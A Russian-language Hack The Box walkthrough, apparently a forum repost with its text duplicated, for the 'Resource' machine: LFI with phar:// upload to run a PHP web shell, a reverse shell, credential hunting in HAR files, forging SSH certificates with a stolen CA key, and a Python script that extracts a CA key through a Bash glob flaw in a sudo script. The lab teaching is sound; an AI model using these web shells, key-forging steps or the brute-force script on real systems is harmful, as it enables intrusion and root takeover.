stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как, получив корневой сертификат, подписать SSH-ключ и повысить привилегии. При эскалации привилегий проэксплуатируем уязвимость в пользовательском скрипте на Bash. Но первым делом нам понадобится атаковать сайт — мы получим удаленное выполнение кода через связку LFI и PHAR upload.
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
или Зарегистрируйся, поэтому обновим запись в файле /etc/hosts, а затем просмотрим сайт через браузер.
Главная страница сайта
Главная страница авторизованного пользователя
На странице dashboard есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс‑файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Результат сканирования файлов с помощью feroxbuster
Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php, а мы получали доступ к странице через index.php?page=dashboard. Видимо, к параметру page автоматически добавляется расширение php. Попробуем таким же образом просмотреть страницу admin.php.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое страницы admin
Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php видим ошибку, раскрывающую путь к файлам на сервере.
Ошибка при загрузке /api/login.php
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Создание тикета
Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Список тикетов
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Информация о тикете
Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads с измененным именем.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Ссылка на архив
Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем, куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://.
Заархивируем файл shell.php, загрузим архив на сервер и получим путь к нему на сервере.
Загруженный архив
Осталось обратиться к шеллу и в качестве теста выполнить команду id.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Результат выполнения команды id
Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл.
Сессия пользователя www-data
В данном случае учетку для базы находим в файле db.php.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое файла db.php
Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов, в каталоге uploads можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Загрузка архивов из каталога uploads
Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.
Содержимое архивов
В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле строки вроде user, pass, token. И находим учетные данные, сохраненные в открытом виде.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое файла HAR
С полученными учетными данными подключаемся по SSH от имени пользователя msainristil.
Пользователь msainristil
Содержимое каталога decommission_old_ca
Закрытый ключ центра сертификации ca-itrc используется для подписи сертификатов, публичный ключ ca-itrc.pub — для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH-ключей.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Генерация пары SSH-ключей
Теперь с помощью ключей центра сертификации на основе публичного SSH-ключа ralf.pub сделаем сертификат SSH для логина root. Сразу можно проверить новый сертификат ralf-cert.pub.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub
Создание SSH-сертификата
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Информация из сертификата
Со сгенерированным SSH-сертификатом и закрытым ключом пользователя получаем доступ от имени root.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost
Флаг пользователя
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое домашнего каталога пользователя
Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).
В последней строке при помощи утилиты curl выполняется запрос по адресу signserv.ssg.htb/v1/sign, в котором передаются указанные пользователем данные.
Содержимое файла sign_key_api.sh
Добавим новый адрес в файл /etc/hosts.
Теперь создадим пару ключей SSH, после чего выполним запрос к серверу, где передадим ключ, а также имя и принципал support. В ответ получаем сертификат SSH.
Получение сертификата
С помощью полученного сертификата и сгенерированного ранее приватного ключа SSH подключаемся к серверу от имени support.
Сессия пользователя support
Содержимое каталога auth_principals
Нас интересует пользователь zzinter. Его принципал записан в соответствующий файл.
Принципал пользователя zzinter
Заново выполняем запрос, чтобы получить SSH-сертификат, но уже для пользователя zzinter с принципалом zzinter_temp, и подключаемся к серверу.
Сессия пользователя zzinter
Настройки sudoers
Судя по записи в sudoers, мы можем выполнить скрипт /opt/sign_key.sh от имени пользователя root без ввода пароля. Просмотрим исходный код.
Содержимое файла /opt/sign_key.sh
Скрипт принимает в качестве параметров сертификат, публичный ключ для подписи, имя пользователя, его принципал и серийник. Обрати внимание, что если сертификат совпадает с сертификатом центра сертификации /etc/ssh/ca-it, то скрипт вернет ошибку «Use API for signing with this CA».
При таком сравнении содержимого переданного сертификата и сертификата CA мы можем использовать символ *, который будет означать «любое количество любых символов». А значит, мы сможем посимвольно подобрать содержимое сертификата CA. Для автоматизации используем следующий скрипт.
Результат работы скрипта.
Спустя несколько минут мы получаем сертификат центра сертификации и теперь можем использовать его для подписи SSH-ключа рута. Но для этого нам нужен принципал для учетки root.
Принципал root
Теперь подписываем публичный ключ, подключаемся по SSH и читаем флаг рута.
Подпись ключа
Флаг рута.
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень сложности задания — средний.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.27 resource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел три открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 2222 — служба OpenSSH 8.9p1.
10.10.11.27 resource.htb itrc.ssg.htb

Точка входа
На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит, и точек для атаки будет больше.
Главная страница авторизованного пользователя
На странице dashboard есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс‑файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту Для просмотра ссылки Войди
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128

Результат сканирования файлов с помощью feroxbuster
Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php, а мы получали доступ к странице через index.php?page=dashboard. Видимо, к параметру page автоматически добавляется расширение php. Попробуем таким же образом просмотреть страницу admin.php.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Содержимое страницы admin
Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php видим ошибку, раскрывающую путь к файлам на сервере.

Ошибка при загрузке /api/login.php
Точка опоры
Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.Для просмотра ссылки Войди
Для просмотра ссылки Войди
Создание тикета
Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Список тикетов
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Информация о тикете
Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads с измененным именем.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Ссылка на архив
Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем, куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://.
Заархивируем файл shell.php, загрузим архив на сервер и получим путь к нему на сервере.
<?php system($_GET['cmd']); ?>

Загруженный архив
Осталось обратиться к шеллу и в качестве теста выполнить команду id.
http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Результат выполнения команды id
Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл.

Сессия пользователя www-data
Побег из Docker
Пользователь msainristil
На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.В данном случае учетку для базы находим в файле db.php.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Содержимое файла db.php
Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов, в каталоге uploads можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Загрузка архивов из каталога uploads
Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.

Содержимое архивов
В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле строки вроде user, pass, token. И находим учетные данные, сохраненные в открытом виде.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Содержимое файла HAR
С полученными учетными данными подключаемся по SSH от имени пользователя msainristil.

Пользователь msainristil
Пользователь root
В домашнем каталоге пользователя root есть каталог decommission_old_ca с ключами центра сертификации.
Содержимое каталога decommission_old_ca
Закрытый ключ центра сертификации ca-itrc используется для подписи сертификатов, публичный ключ ca-itrc.pub — для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH-ключей.
ssh-keygen -t rsa -b 2048 -f ralf
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Генерация пары SSH-ключей
Теперь с помощью ключей центра сертификации на основе публичного SSH-ключа ralf.pub сделаем сертификат SSH для логина root. Сразу можно проверить новый сертификат ralf-cert.pub.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub

Создание SSH-сертификата
ssh-keygen -Lf ralf-cert.pub
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Информация из сертификата
Со сгенерированным SSH-сертификатом и закрытым ключом пользователя получаем доступ от имени root.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost

Флаг пользователя
Пользователь support
В домашнем каталоге пользователя zzinter есть скрипт sign_key_api.sh.Для просмотра ссылки Войди
Для просмотра ссылки Войди
Содержимое домашнего каталога пользователя
Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).
В последней строке при помощи утилиты curl выполняется запрос по адресу signserv.ssg.htb/v1/sign, в котором передаются указанные пользователем данные.

Добавим новый адрес в файл /etc/hosts.
10.10.11.27 resource.htb itrc.ssg.htb signserv.ssg.htb ssg.htb
Теперь создадим пару ключей SSH, после чего выполним запрос к серверу, где передадим ключ, а также имя и принципал support. В ответ получаем сертификат SSH.
Код:
ssh-keygen -t rsa -b 2048 -f support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3.....", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

С помощью полученного сертификата и сгенерированного ранее приватного ключа SSH подключаемся к серверу от имени support.
ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222

Сессия пользователя support
Продвижение
Давай заглянем в конфиг SSH и просмотрим принципалы для разных пользователей в каталоге /etc/ssh/auth_principals.
Содержимое каталога auth_principals
Нас интересует пользователь zzinter. Его принципал записан в соответствующий файл.

Принципал пользователя zzinter
Заново выполняем запрос, чтобы получить SSH-сертификат, но уже для пользователя zzinter с принципалом zzinter_temp, и подключаемся к серверу.
Код:
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3.....", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh -o CertificateFile=zzinter-cert.pub -i support zzinter@ssg.htb -p 2222

Сессия пользователя zzinter
Локальное повышение привилегий
Нам нужно повысить привилегии в системе. В Linux есть множество мест, которые можно проверить с этой целью, но одно из самых очевидных — настройки sudoers. Посмотрим их:sudo -l

Настройки sudoers
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.Судя по записи в sudoers, мы можем выполнить скрипт /opt/sign_key.sh от имени пользователя root без ввода пароля. Просмотрим исходный код.

Содержимое файла /opt/sign_key.sh
Скрипт принимает в качестве параметров сертификат, публичный ключ для подписи, имя пользователя, его принципал и серийник. Обрати внимание, что если сертификат совпадает с сертификатом центра сертификации /etc/ssh/ca-it, то скрипт вернет ошибку «Use API for signing with this CA».
При таком сравнении содержимого переданного сертификата и сертификата CA мы можем использовать символ *, который будет означать «любое количество любых символов». А значит, мы сможем посимвольно подобрать содержимое сертификата CA. Для автоматизации используем следующий скрипт.
Код:
import subprocess
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=- \n"
ssh_key = ""
while True:
for c in chars:
key = ssh_key + str(c) + "*"
with open("rkey", "w") as f:
f.write(key)
p = subprocess.run( f"sudo /opt/sign_key.sh rkey root.pub root root 123", shell=True, stdout=subprocess.PIPE, text=True )
if 'Use API for signing with this CA' in p.stdout:
ssh_key += c
print(ssh_key)
break
else:
break
print(ssh_key)

Результат работы скрипта.
Спустя несколько минут мы получаем сертификат центра сертификации и теперь можем использовать его для подписи SSH-ключа рута. Но для этого нам нужен принципал для учетки root.

Принципал root
Теперь подписываем публичный ключ, подключаемся по SSH и читаем флаг рута.
Код:
ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s rkey -I root -V -1w:forever -n root_user -z 123 root.pub

Подпись ключа
ssh root@localhost -p 2222 -i root

Флаг рута.
Машина захвачена!